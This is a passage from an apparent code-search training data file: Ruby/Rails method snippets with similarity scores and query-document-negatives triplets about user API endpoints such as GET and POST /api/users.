"def pp_method\n :pp_text\n end",
"def index\n @procedure_types = ProcedureType.all\n end",
"def info()\n #This is a stub, used for indexing\n end",
"def make_result_info\n end",
"def get_vm_info()\n promise = @compute_client.virtual_machines.get(@rg_name, @instance_name)\n result = promise.value!\n OOLog.info(\"vm info :\"+result.body.inspect)\n return result.body\n end",
"def index\n @proceduretypes = Proceduretype.all\n end",
"def index\n @visit_procedures = VisitProcedure.all\n end",
"def inspect\n end",
"def inspect\n end",
"def format=(procedure); end",
"def execute_procedure( package_name, object_name, options = {} )\n \n logger = RAILS_DEFAULT_LOGGER\n key = package_name + '_' + object_name\n recordset_return_type = !options[:recordset_return_type].nil? ? options[:recordset_return_type] : 'hash'\n \n if !options.nil?\n autocommit = (options[:autocommit].nil?)? true : options[:autocommit]\n end\n autocommit = !options[:autocommit].nil? ? options[:autocommit] : true\n # this is a costly method so we try to store the arguments in @user_arguments_cache\n get_arguments_from_stored_procedure( package_name, object_name )\n \n # Build the stored procedure inserting the appropriate arguments\n acopy = []\n @@user_arguments_cache[key].each_with_index{ |argument, x| acopy.push(\":#{argument['ARGUMENT_NAME']}\") }\n stored_procedure = \"BEGIN #{package_name.upcase}.#{object_name.downcase}(#{acopy.join(', ').downcase}); END;\"\n logger.debug \"\\n\" << stored_procedure << \"\\n\"\n \n # Setup the cursor so we can bind the params\n sql = $connection.parse(stored_procedure)\n \n y = 0\n # Loop through all the user arguments and bind the appropriate variable to them\n @@user_arguments_cache[key].each_with_index{ |argument, x|\n # Bind IN variables\n if argument['IN_OUT'] == 'IN' \n field, datatype = oracle_data_type_conversion(options[:in][y], argument['DATA_TYPE'], argument['DATA_SCALE'])\n logger.debug \"IN sql.bind_param(:#{argument['ARGUMENT_NAME']}, #{field}) #{argument['DATA_TYPE']}\"\n # This is here because the OCI driver figures out the bind type by the variable type...\n # except when the String is nil\n if (argument['DATA_TYPE'] == \"VARCHAR2\" || argument['DATA_TYPE'] == \"CHAR\") && field == \"\"\n sql.bind_param(\":#{argument['ARGUMENT_NAME']}\", \"\", String, 7) \n else\n sql.bind_param(\":#{argument['ARGUMENT_NAME']}\", field) \n end\n y = y + 1\n # Bind OUT variable for REF CURSOR\n elsif argument['IN_OUT'] == 'OUT' && argument['DATA_TYPE'] == 'REF CURSOR'\n logger.debug \"OUT sql.bind_param(:#{argument['ARGUMENT_NAME']}, OCI8::Cursor) #{argument['DATA_TYPE']}\"\n sql.bind_param(\":#{argument['ARGUMENT_NAME']}\", OCI8::Cursor) \n \n # Bind OUT variables for everything else \n elsif argument['IN_OUT'] == 'OUT' && argument['DATA_TYPE'] != 'REF CURSOR'\n \n field, datatype = oracle_data_type_conversion(\"\", argument['DATA_TYPE'], argument['DATA_SCALE'])\n if datatype == String\n logger.debug \"OUT sql.bind_param(:#{argument['ARGUMENT_NAME']}, nil, #{datatype}, 4000) #{argument['DATA_TYPE']})\"\n sql.bind_param(\":#{argument['ARGUMENT_NAME']}\", nil, datatype, 7000)\n else\n logger.debug \"OUT sql.bind_param(:#{argument['ARGUMENT_NAME']}, nil, #{datatype}) #{argument['DATA_TYPE']})\"\n sql.bind_param(\":#{argument['ARGUMENT_NAME']}\", nil, datatype)\n end \n end\n }\n \n # Now that everything is bound and whatnot, \n # lets execute and commit the transaction\n begin\n $connection.autocommit = false\n sql.exec() \n @outvars = {}\n #logger.debug \"\\n\" << \"Transaction successful\"\n # PROCESS THE OUT VARS\n @@user_arguments_cache[key].each_with_index{ |argument, x|\n # Make sure argument is of TYPE = REF CURSOR\n if argument['IN_OUT'] == 'OUT' && argument['DATA_TYPE'] == 'REF CURSOR' \n cursor = eval(\"sql[':#{argument['ARGUMENT_NAME']}']\") \n @recordset, @column_names = pack_cursor(cursor, :return => recordset_return_type)\n end\n \n if( argument['IN_OUT'] == 'OUT' && argument['DATA_TYPE'] != 'REF CURSOR' )\n begin\n @outvars[argument['ARGUMENT_NAME']] = eval(\"sql[':#{argument['ARGUMENT_NAME']}']\")\n rescue Exception => e\n logger.debug(\"Oracle exception caught: \" + e) \n end\n end\n } \n # Commit and close the cursor\n sql.close()\n \n $connection.commit() unless autocommit == false\n \n \n return { :recordset => @recordset, :column_names => @column_names, :outvars => @outvars, :message => 'Transaction successful', :error => false }\n \n # Catch Oracle errors and try to give the user a message that makes sense\n rescue OCIException => e\n logger.warn \"\\n\" << \"Oracle error code: #{e}\"\n logger.warn \"Oracle error message: #{e.message}\"\n #message = oracle_error_codes(e)\n #unless message.nil?\n # message = \"#{message}\"\n #else\n message = \"#{e.message}\"\n #end\n # Dont return anything\n \n return { :error => true, :message => message } \n end\n \n end",
"def open_procedure_literal\r\n suspend_execute_mode(\"vm.push(lambda {|vm, val=nil, idx=nil| \", :procedure)\r\n\r\n #Support for the standard procedure parameters.\r\n context.create_local_method('v', MacroSpec, [:macro, \"vm.push(val); \"])\r\n context.create_local_method('x', MacroSpec, [:macro, \"vm.push(idx); \"])\r\n\r\n #Support for local data.\r\n context.create_local_method('var:', LocalSpec, [:immediate], &Local_Var_Action)\r\n context.create_local_method('val:', LocalSpec, [:immediate], &Local_Val_Action)\r\n\r\n context.create_local_method('}}', MacroSpec, [:macro, :end, \"}); \"])\r\n end",
"def procedure_name_counts\n counts = Array.new\n\n if @db != nil\n is_ok = false\n\n begin\n stm = @db.prepare( 'SELECT qProc, COUNT( qProc ) As qCount FROM qryResults GROUP BY qProc ORDER BY qProc')\n rs = stm.execute\n\n rs.each do |row|\n result = { 'name' => row['qProc'], 'count' => row['qCount'] }\n counts.push result\n end\n\n stm.close\n is_ok = true\n rescue ::SQLite3::Exception => e\n Maadi::post_message(:Warn, \"Repository (#{@type}:#{@instance_name}) encountered an SELECT Procedure Name Counts error (#{e.message}).\")\n end\n end\n\n return counts\n end",
"def show\n scan_procedure_array = (current_user.view_low_scan_procedure_array).split(' ').map(&:to_i)\n @scan_procedure = ScanProcedure.where(\"scan_procedures.id in (?)\", scan_procedure_array).find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @scan_procedure }\n end\n end",
"def info\n return Error.new('ID not defined') unless @pe_id\n\n rc = @client.call(HOOK_METHODS[:info], @pe_id, false)\n\n if !OpenNebula.is_error?(rc)\n initialize_xml(rc, 'HOOK')\n rc = nil\n\n @pe_id = self['ID'].to_i if self['ID']\n @name = self['NAME'] if self['NAME']\n end\n\n rc\n end"
] |
[
"0.7388445",
"0.6818748",
"0.6778475",
"0.6400616",
"0.63053",
"0.60947293",
"0.60722625",
"0.600247",
"0.583012",
"0.5824742",
"0.58188593",
"0.5730571",
"0.57286793",
"0.56737804",
"0.5666101",
"0.56406224",
"0.55920875",
"0.55916184",
"0.5542823",
"0.55324805",
"0.54893684",
"0.548332",
"0.5472236",
"0.53788793",
"0.53508025",
"0.5311561",
"0.52587545",
"0.5256856",
"0.52494276",
"0.5247607",
"0.52198076",
"0.5212227",
"0.52098733",
"0.52098733",
"0.5209824",
"0.51927",
"0.51890516",
"0.5182949",
"0.51816845",
"0.51755464",
"0.51704687",
"0.5168144",
"0.51540184",
"0.5142098",
"0.5106531",
"0.50892305",
"0.50853664",
"0.50853664",
"0.5061707",
"0.5054188",
"0.50496227",
"0.5039421",
"0.5034588",
"0.5034588",
"0.5034588",
"0.5033784",
"0.500357",
"0.4994089",
"0.49866006",
"0.49687386",
"0.49657515",
"0.49548498",
"0.49479526",
"0.49436668",
"0.49372986",
"0.49296284",
"0.4921977",
"0.49142262",
"0.49141845",
"0.49099183",
"0.4907875",
"0.49073467",
"0.49010867",
"0.49010867",
"0.4900856",
"0.48968384",
"0.4891505",
"0.4878223",
"0.48765916",
"0.48625603",
"0.48599997",
"0.48598278",
"0.48581216",
"0.48564902",
"0.4848578",
"0.48238832",
"0.48218653",
"0.48193774",
"0.48120478",
"0.48117942",
"0.4807545",
"0.4802607",
"0.479783",
"0.479783",
"0.47950345",
"0.47904935",
"0.4786629",
"0.47770217",
"0.47747698",
"0.4768547"
] |
0.7205838
|
1
|
GET /api/users/1 GET /api/users/1.json
|
def show
@user = User.find_by(username: params[:id])
render :show
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/users/#{params[:id]}.json\"\n\t response = RestClient.get(url)\n\t @user = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/users.json\"\t \n response = RestClient.get(url)\n @users = JSON.parse(response.body)\t\t \n\tend\n end",
"def GetUser id\n\n APICall(path: \"users/#{id}.json\")\n\n end",
"def get \n render :json => User.find(params[:id])\n end",
"def users(args = {})\n get(\"/users.json\",args)\n end",
"def index\n users = User.all\n\n render json: users, each_serializer: Api::V1::UsersSerializer\n end",
"def show\n begin\n user = User.find(params[:user_id])\n render json: { users: user }, status: :ok\n rescue => e\n render json: { errors: e.message}, status: 404\n end\n end",
"def user\n render :json=> User.find(params[:id])\n end",
"def GetUsers params = {}\n\n params = params.merge(path: 'users.json')\n APICall(params)\n\n end",
"def fetch_one_user_data\n get_url(\"/api/v1/users/#{@filter}\")\n end",
"def index\n json_response(User.all) \n end",
"def list_users\n self.class.get('/users')\n end",
"def index\n users = User.all\n json_response(users)\n end",
"def index\n\t\t# specifying json format in the URl\n\t uri = \"#{API_BASE_URL}/users.json\"\n\t # It will create new rest-client resource so that we can call different methods of it\n\t rest_resource = RestClient::Resource.new(uri, USERNAME, PASSWORD)\n\n\t # this next line will give you back all the details in json format, \n\t #but it will be wrapped as a string, so we will parse it in the next step.\n\t users = rest_resource.get \n\n\t # we will convert the return data into an array of hash. see json data parsing here\n\t @users = JSON.parse(users, :symbolize_names => true)\n\tend",
"def show\n # When a http GET request to '/users/1' is received, have it show,\n # in json format, user 1's information.\n @id = params[:id]\n @user = User.find(@id)\n render json: @user\n end",
"def index\n @users = User.all\n\n respond_with do |format|\n format.json do\n render json: @users,\n each_serializer: Api::UserSerializer,\n root: 'users'\n end\n end\n end",
"def show\n render json: Users.find(params[\"id\"])\n end",
"def show\n @users = User.all\n json_response(@users)\n end",
"def index\n users = User.all\n render json: { users: users }, status: :ok\n end",
"def show\n @user = User.find(params[:id])\n render 'api/v1/users/show'\n end",
"def show\n @users = User.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @users }\n end\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def show\n user = User.find(params[:id])\n\n render json: user\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def get_by_id\n \n # the user_id param comes from our route\n user = User.find(params[:user_id])\n \n if user\n render json: user, status: :ok\n else\n render json: { errors: 'User not found' }, status: :not_found\n end\n end",
"def show\n user = User.find(params[:id])\n render json: @user\nend",
"def get_user_details\n @user = User.find_by_id(params[:user_id])\n render json: @user\n end",
"def show\n render json: User.find(params[\"id\"])\n end",
"def show\n render json: User.find(params[:id])\n end",
"def index\n user= User.all\n render json: {users:user}\n end",
"def index\n render :json => User.all, status: 200\n end",
"def show\n render json: User.find(params[:id])\n end",
"def user(id)\n self.class.get(\"/user/#{id}\", @options).parsed_response\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def index\n users = User.all\n render json: users\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\n end",
"def show\n user = User.find_by(id: params[:id])\n render json: user, status: :ok\n end",
"def index\r\n users = User.all\r\n render json: users\r\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def show\n @user = User.find(params[:id])\n\n render json: @user\n end",
"def index\n users = User.all\n render json: users \n end",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def index\n @api_users = ApiUser.all\n\n render json: @api_users\n end",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def show\n @user = User.find(params[:id])\n render json:@user\n end",
"def show\n @user = User.find(params[:id])\n render json: @user\nend",
"def index\n @users = User.all\n render json: @users, status: :ok\n end",
"def index\n render ActiveModelSerializers::SerializableResource.new(@users,\n each_serializer: UserSerializer\n ).to_json, status: 200\n end",
"def show\n user = User.select(:id, :username, :email).find(params[:id])\n render :json => user\n end",
"def show\n @user = User.find(params[:id])\n render json: {user: @user}\n end",
"def index\n render json: User.all\n end",
"def index\n render json: User.all\n end",
"def index\n users = User.all \n render json: users \n end",
"def index\n render json: User.all\n end",
"def show\n user = User.friendly.find(params[:user_id]) \n render json: user\n end",
"def show\n render :json => User.find(params[:id])\n end",
"def list\r\n users = User.all\r\n render json: users\r\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all\n render json: @users\n end",
"def index\n @users = User.all(limit: 100)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @users.as_json(user: current_user) }\n end\n end",
"def index\n \n @user = User.find(current_user.id) \n\n respond_to do |format|\n format.html { render action: \"show\" }\n format.json { render json: @user }\n end\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def index\n @users = User.all\n\n respond_to do |format|\n format.html\n format.json { render json: @users }\n end\n end",
"def index \n render json: User.all\n end",
"def get_user_info\n id = params[\"id\"]\n error_list = []\n status = 1\n json_response = {}\n user = User.find_by(id: id)\n\n if user.nil?\n error_list.append(\"Error: The specified user doesn't exist.\")\n status = -1\n else\n json_response[\"user\"] = user.get_user_json_data\n end\n\n if status == -1\n json_response[\"errors\"] = error_list\n end\n\n json_response[\"status\"] = status\n\n # Format the json_response into proper JSON and respond with it\n json_response = json_response.to_json\n\n respond_to do |format|\n format.json { render json: json_response }\n end\n end",
"def index\n\n users = User.all \n render json: users\n\n end",
"def show\n respond_to do |format|\n format.html\n format.json\n format.json_api { render json: @user }\n end\n end",
"def index\n @users = User.all\n\n render json: @users\n end",
"def show\n user = User.find(params[:id])\n render json: user\n end",
"def list\n render json: User.all\n end",
"def get(user_id:)\n path = '/users/{userId}'\n .gsub('{userId}', user_id)\n\n if user_id.nil?\n raise Appwrite::Exception.new('Missing required parameter: \"userId\"')\n end\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'GET',\n path: path,\n headers: headers,\n params: params,\n response_type: Models::User\n )\n end",
"def users\n get('get_users')\n end",
"def user_info\n @user = @github.users.get user: params[:username]\n render json: Hash[@user]\n end",
"def index\n @users = User.all \n render json: @users, status: :ok \n end",
"def manage_users\n \t@users = User.all\n\n \trespond_to do |format|\n format.json {\n render :json => @users.as_json(:only => [:id, :username, :firstname, :lastname, :email], :methods => [:avatar_url])\n }\n format.html {\n render 'manage_users'\n }\n end\n end"
] |
[
"0.82854503",
"0.8002468",
"0.7702122",
"0.76229024",
"0.75719595",
"0.7562091",
"0.75326085",
"0.74904794",
"0.7476293",
"0.7447042",
"0.74349654",
"0.7398113",
"0.7374086",
"0.7338114",
"0.7323381",
"0.73158956",
"0.73146147",
"0.73125494",
"0.72650015",
"0.72608525",
"0.7246239",
"0.72421306",
"0.72224563",
"0.7221654",
"0.7219172",
"0.7212992",
"0.7208853",
"0.7201377",
"0.71966857",
"0.7194821",
"0.7194725",
"0.7176811",
"0.71678144",
"0.71678144",
"0.71678144",
"0.71678144",
"0.71665436",
"0.71665436",
"0.71665436",
"0.71665436",
"0.71665436",
"0.71665436",
"0.71665436",
"0.7162489",
"0.7161164",
"0.71587974",
"0.71587974",
"0.71587974",
"0.71587974",
"0.71587974",
"0.71587974",
"0.71587974",
"0.71587974",
"0.71435976",
"0.7142826",
"0.7126513",
"0.71246904",
"0.71246904",
"0.7123068",
"0.711777",
"0.7116823",
"0.711165",
"0.71046215",
"0.7102812",
"0.7102812",
"0.7102077",
"0.7096968",
"0.7089117",
"0.70838076",
"0.7078218",
"0.7067363",
"0.7067363",
"0.7067363",
"0.7067363",
"0.7067363",
"0.7067363",
"0.7067363",
"0.7067363",
"0.7067363",
"0.7067363",
"0.70655984",
"0.70654446",
"0.70526147",
"0.70526147",
"0.70526147",
"0.70526147",
"0.70526147",
"0.70526147",
"0.705192",
"0.7051332",
"0.7050654",
"0.7049593",
"0.7046461",
"0.7043413",
"0.70417714",
"0.70416725",
"0.703736",
"0.7037314",
"0.70188296",
"0.7017814",
"0.7012522"
] |
0.0
|
-1
|
POST /api/users POST /api/users.json
|
def create
@user = User.new(user_params)
if @user.save
login(@user)
render :show
else
render json: @user.errors.full_messages, status: 422
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def post_users(users)\n self.class.post('https://api.yesgraph.com/v0/users', {\n :body => users.to_json,\n :headers => @options,\n })\n end",
"def CreateUser params = {}\n \n APICall(path: 'users.json',method: 'POST',payload: params.to_json)\n \n end",
"def post body=nil, headers={}\n @connection.post \"users.json\", body, headers\n end",
"def create_user(params:)\n parse(JSON.parse(connection.post(\"users\", params.to_json).body))\n end",
"def create\n user = User.create(user_params) \n render json: user, status: :created\n end",
"def create\n @user = @application.users.create(user_params)\n\n if @user.valid?\n render json: @user, status: :created, location: api_application_user_path(@application,@user)\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.new(\n username: user_params[:username],\n password: user_params[:password])\n if user.save\n create_example_collection(user)\n render json: user, except: [:password_digest, :created_at, :updated_at]\n else\n render json: {errors: user.errors.full_messages}\n end\n end",
"def create\n # render json: params\n render json: Users.create(params[\"user\"])\n end",
"def create\n r = @api.create_user(user_params)\n respond_to do |format|\n if r.code == 201\n format.html { redirect_to users_url, notice: 'User was successfully created.' }\n else\n response = JSON.parse(r.body)\n format.html { redirect_to users_url, alert: response['message']}\n end\n end\n end",
"def add_user(name, value)\n self.class.post(\"/users/#{name}\",\n body: value,\n headers: {\n 'Content-Type' => 'application/json; charset=UTF-8',\n Connection: 'keep-alive',\n Accept: 'application/json, text/plain, */*'\n })\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: user\n else\n render json: {errors: \"Cannot create user\"}, :status => 420\n end\n end",
"def create\n @user = User.create user_params\n \n if @user.save\n respond_with(@user) do |format|\n format.json {render}\n end\n end\n end",
"def create\n\t\t@user = User.new(users_params)\n\t\tif @user.save\n\t\t\tjson_response(@user, \"User is created Successfully.\")\n\t\telse\n\t\t\trender json: {message: @user.errors.full_messages.join(\" \")}, status: 400\n\t\tend\t\t\n\tend",
"def create\n\n up = user_params\n\n if up[:name].present?\n up[:first_name] = up[:name].split(' ')[0]\n up[:last_name] = up[:name].split(' ')[1]\n up.delete :name\n end\n @user = User.new(up)\n\n respond_to do |format|\n if @user.save\n # render json: {user: user, token: token}\n\n format.html { redirect_to @user, notice: 'User was successfully created.' }\n format.json { render :show, status: :created, location: api_user_url(@user)}\n else\n format.html { render :new }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.new(@user_info)\n if user.save && user.errors.empty?\n render json: { status: 200, data: UserSerializer.new(user).as_json }\n else\n render json: { status: 400, error: user.errors.full_messages }\n end\n end",
"def create(options = {})\n request(:post, '/users.json', default_params(options))\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params(params))\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(form_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: { users: @user }, status: :created }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user= User.create(user_params)\n render json: user\n end",
"def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new user_params(params[:user])\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n format.json { render json: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params(params))\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.create(user_params)\n if user.valid?\n render json: user\n else\n render json: user.errors, status: :unprocessable_entity\n end\n end",
"def create_user\n @user = User.new(user_params)\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n\n puts '-----------------------create in user controller'\n\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n\n end",
"def create\n user = User.new(user_params)\n render json: { status: 200, msg: 'User was created.', data: \"User Id #{user.id}\" } if user.save\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @api_user = ApiUser.new(api_user_params)\n\n if @api_user.save\n render json: @api_user, status: :created, location: @api_user\n else\n render json: @api_user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = User.new(user_params)\n \n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n user = User.create(user_params)\n if user.save\n render json: user\n else\n render json: user.errors, status: :bad\n end\n end",
"def create\n\t\t@user = User.new(user_params)\n\t\tif @user.save\n\t\t\trender json: @user, status: :created, location: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def create\n user = User.new(user_params)\n\n respond_to do |format|\n if user.save\n render json: user, status: :ok\n else\n format.json { render json: user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: UserSerializer.new(@user).serialized_json\n else\n render json: { error: I18n.t('user_create_error') }, status: :unprocessable_entity\n end\n end",
"def create_user\n params = {\n :client_id => Swiftype.platform_client_id,\n :client_secret => Swiftype.platform_client_secret\n }\n post(\"users.json\", params)\n end",
"def create\n\t\tputs user_params\n\t\tuser = User.new(user_params)\n\t\tif user.save\n\t\t\trender json: { user: user, status: :success }\n\t\telse\n\t\t\trender json: { status: :failure, errors: user.errors.full_messages.join('') }\n\t\tend\n\tend",
"def create\n @user = User.new(user_params)\n if @user.save\n render json: { user: @user, success: 'User registration successful' }\n else\n render json: { error: 'User registration unsuccessful' }\n end\n end",
"def create\n user = User.new(user_params)\n if user.save\n render :json => user, :status => :created\n else\n render :json => {:ok => false, :message => user.errors}, :status => :unprocessable_entity\n end\n end",
"def create\n user = User.create(user_params)\n render json: user, message: 'user succefully create', status: 200\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :created, location: @user\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def create\n @user = current_user.users.build(user_params)\n\n if @user.save\n render json: @user\n else\n @user_items = []\n end\n end",
"def create\n @user = User.new(user_params)\n\n if @user.save\n render json: @user.as_json(only: [:email, :authentication_token]), status: :created\n else\n head(:unprocessable_entity)\n end\n end",
"def create\n @users = User.new(params[:user])\n\n respond_to do |format|\n if @users.save\n format.html { redirect_to @users, notice: 'Regist was successfully created.' }\n format.json { render json: @users, status: :created, location: @users }\n else\n format.html { render action: \"new\" }\n format.json { render json: @users.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n user_details = params.permit(:first_name, :last_name, :email)\n success = User.create(user_details)\n\n render json: { success: success }\n end",
"def post_users_with_http_info(users, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: UsersApi.post_users ...'\n end\n # verify the required parameter 'users' is set\n if @api_client.config.client_side_validation && users.nil?\n fail ArgumentError, \"Missing the required parameter 'users' when calling UsersApi.post_users\"\n end\n # resource path\n local_var_path = '/users'\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:body] || @api_client.object_to_http_body(users) \n\n # return_type\n return_type = opts[:return_type] || 'User' \n\n # auth_names\n auth_names = opts[:auth_names] || ['Bearer']\n\n new_options = opts.merge(\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: UsersApi#post_users\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def create\n logger.debug user_params\n @user = User.new(user_params)\n\n if @user.save\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :not_acceptable\n end\n end",
"def user_new_user(email, password, username, opts = {})\n if Configuration.debugging\n Configuration.logger.debug \"Calling API: UserApi#user_new_user ...\"\n end\n\n # verify the required parameter 'email' is set\n fail \"Missing the required parameter 'email' when calling user_new_user\" if email.nil?\n\n # verify the required parameter 'password' is set\n fail \"Missing the required parameter 'password' when calling user_new_user\" if password.nil?\n\n # verify the required parameter 'username' is set\n fail \"Missing the required parameter 'username' when calling user_new_user\" if username.nil?\n\n # resource path\n path = \"/user\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json', 'application/xml', 'text/xml', 'application/javascript', 'text/javascript']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json', 'application/x-www-form-urlencoded']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n form_params[\"email\"] = email\n form_params[\"password\"] = password\n form_params[\"username\"] = username\n form_params[\"firstname\"] = opts[:'firstname'] if opts[:'firstname']\n form_params[\"lastname\"] = opts[:'lastname'] if opts[:'lastname']\n form_params[\"acceptsTOS\"] = opts[:'accepts_tos'] if opts[:'accepts_tos']\n form_params[\"referrerID\"] = opts[:'referrer_id'] if opts[:'referrer_id']\n form_params[\"country\"] = opts[:'country'] if opts[:'country']\n\n # http body (model)\n post_body = nil\n\n\n auth_names = []\n result = @api_client.call_api(:POST, path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'User')\n if Configuration.debugging\n Configuration.logger.debug \"API called: UserApi#user_new_user. Result: #{result.inspect}\"\n end\n return result\n end",
"def create\n user = User.new(user_params)\n if user.save\n render json: {status: \"Se creo el usuario\"}, status: :ok\n else\n render json: {status: \"Error al crear el usuario\", errors: user.errors }, status: :unprocessable_entity\n end\n end",
"def create\n user = User.new(params[:user].permit(:username))\n if user.save\n render json: user\n else\n render json: user.errors.full_messages, status: :unprocessable_entity\n end\n end",
"def create_user(body)\n post 'create_user', body\n end",
"def create\n\t\tnew_user = User.new(user_params)\n\t\tif new_user.save\n\t\t render status: 200, json: {\n\t\t \tstatus: 200,\n\t\t message:\"New User Created\",\n\t\t response: {\n\t\t name: new_user.name,\n\t\t email: new_user.email,\n\t\t id: new_user.id,\n\t\t facebook_id: new_user.facebook_id,\n\t\t device_id: new_user.device_id,\n\t\t authentication_token: new_user.authentication_token\n\t\t }\n\t\t \n\t\t }.to_json\n\t\telse\n\t\t render status: 404, json: {\n\t\t \tstatus: 404,\n\t\t errors: new_user.errors\n\t\t }.to_json\n\t\tend\n\tend",
